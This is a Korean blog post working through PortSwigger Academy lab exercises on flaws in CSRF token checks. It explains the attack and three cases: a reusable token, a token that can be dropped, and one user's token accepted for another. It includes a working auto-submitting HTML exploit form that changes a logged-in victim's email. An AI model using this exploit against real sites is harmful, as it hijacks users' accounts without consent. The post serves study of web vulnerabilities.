HW_chick hacker
CSRF 취약점 - csrf 토큰 검증 결함 본문
CSRF 취약점은 실제로도 너무 생소한 취약점이라 제대로 공부해본적 없는 취약점입니다.
그전에는 시스템의 취약한 기능 로직을 script 태그가 삽입된 곳에 사용자가 접속하도록 유도하도록 시나리오를 짜봤지만 PostSwigger Academy에서 CSRF를 제대로 공부하니 XSS와 CSRF는 완전 다른 취약점이라는것을 다시 한번 느끼게 됩니다.
CASE 들을 공부해보면서 csrf 토큰이 구현된 기능들이 각각 나타나는 결함들을 확인하고 익스플로잇 코드를 만드는 공부를 했습니다.
CSRF 취약점이란?
공격자가 피해자(인증된 사용자)의 브라우저를 이용해, 사용자가 의도하지 않은 상태 변경(예: 비밀번호/이메일 변경, 송금, 설정 변경 등)을 대상 웹사이트에 수행하게 만드는 공격입니다.
[CSRF 취약점을 위한 전제 조건]
- 피해자가 대상 사이트에 이미 인증(세션 쿠키 등)된 상태여야 함.
- 대상 요청이 브라우저가 자동으로 인증 정보를 포함해 전송되는 방식(쿠키/HTTP 인증 등)을 이용할 것.
- 서버가 추가적인 출처 검증/토큰 검증을 하지 않을 것.
[영향]
- 계정 탈취(간접), 금전 피해, 설정 변경, 권한 상승 등 심각한 영향 가능.
-> 실습 사이트에서는 계정을 로그인 후 이메일을 변경하는 로직을 사용함.
[ 이메일 전송 로직 ]
<form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="">
<input required type="hidden" name="csrf" value="KLnaWJsnHgA9L1ElzqaAoGMSgB4b1pSr">
<button class='button' type='submit'> Update email </button>
</form>
[ CSRF 익스플로잇 코드 ]
<html>
<body>
<form action="https://0a5400f1039598aa80776c1d00640014.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test@naver.com" />
<input type="hidden" name="csrf" value="cmSvWV4HlvLkgR8rfum0HMHImqNA3yt1" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Case 1) CSRF 토큰 재사용 결함
실습 사이트에서 계정 로그인 후 이메일을 변경 시 통신구간의 파라미터를 확인하면 변경할 이메일과 csrf 토큰값이 존재하지만 csrf 토큰값을 지우고 파라미터를 처리해도 정상적으로 이메일이 변경됨.
- 예측 가능 → 의미 없음
공격자는 페이로드에 항상 그 토큰값을 넣어도 되므로 CSRF 방어를 우회할 수 있음.
- 재사용 가능(Replay)
토큰이 한 번만 발급되면 공격자가 이를 알고 나면 아무 때나 재사용해 공격 수행 가능.
- 토큰 유출 시 치명적
한 번 유출되면(예: 로그, 리퍼러, XSS) 모든 계정에 대해 공격이 가능.
Case 2) CSRF 토큰 필수 검증 로직 결함
실습 사이트에서 계정 로그인 후 이메일을 변경 시 통신구간의 파라미터를 확인하면 변경할 이메일과 csrf 토큰값이 존재하지만 csrf 토큰값을 지우고 파라미터를 처리해도 정상적으로 이메일이 변경됨.
- 검증 우회
토큰을 제거한 요청이 정상으로 처리되면 공격자는 단순히 CSRF 토큰을 제거한 페이로드만 보내면 됨.
Case 3) 타 사용자 CSRF 토큰 사용 가능
타 사용자의 CSRF 토큰을 사용해도 자신의 계정에서도 이메일 변경 로직이 가능함.
-> 이미 처리된 동일한 CSRF 토큰 재사용에 대한 보안 로직이 구현됨.
-> csrf 토큰을 사용하지 않고 이메일 변경 로직을 사용하면 csrf 토큰 검증 로직에 걸림.
* 타 사용자의 csrf 토큰을 이메일 변경 로직 이용 시 csrf 파라미터에 변조 후 요청을 보내면 정상적으로 이메일이 변경됨.
* 이메일 변경 완료(wiener 사용자)
'WEB' 카테고리의 다른 글
| HTTP 메서드 스푸핑(HTTP Method Spoofing) (1) | 2025.11.06 |
|---|---|
| Graphql Injection (0) | 2025.11.03 |
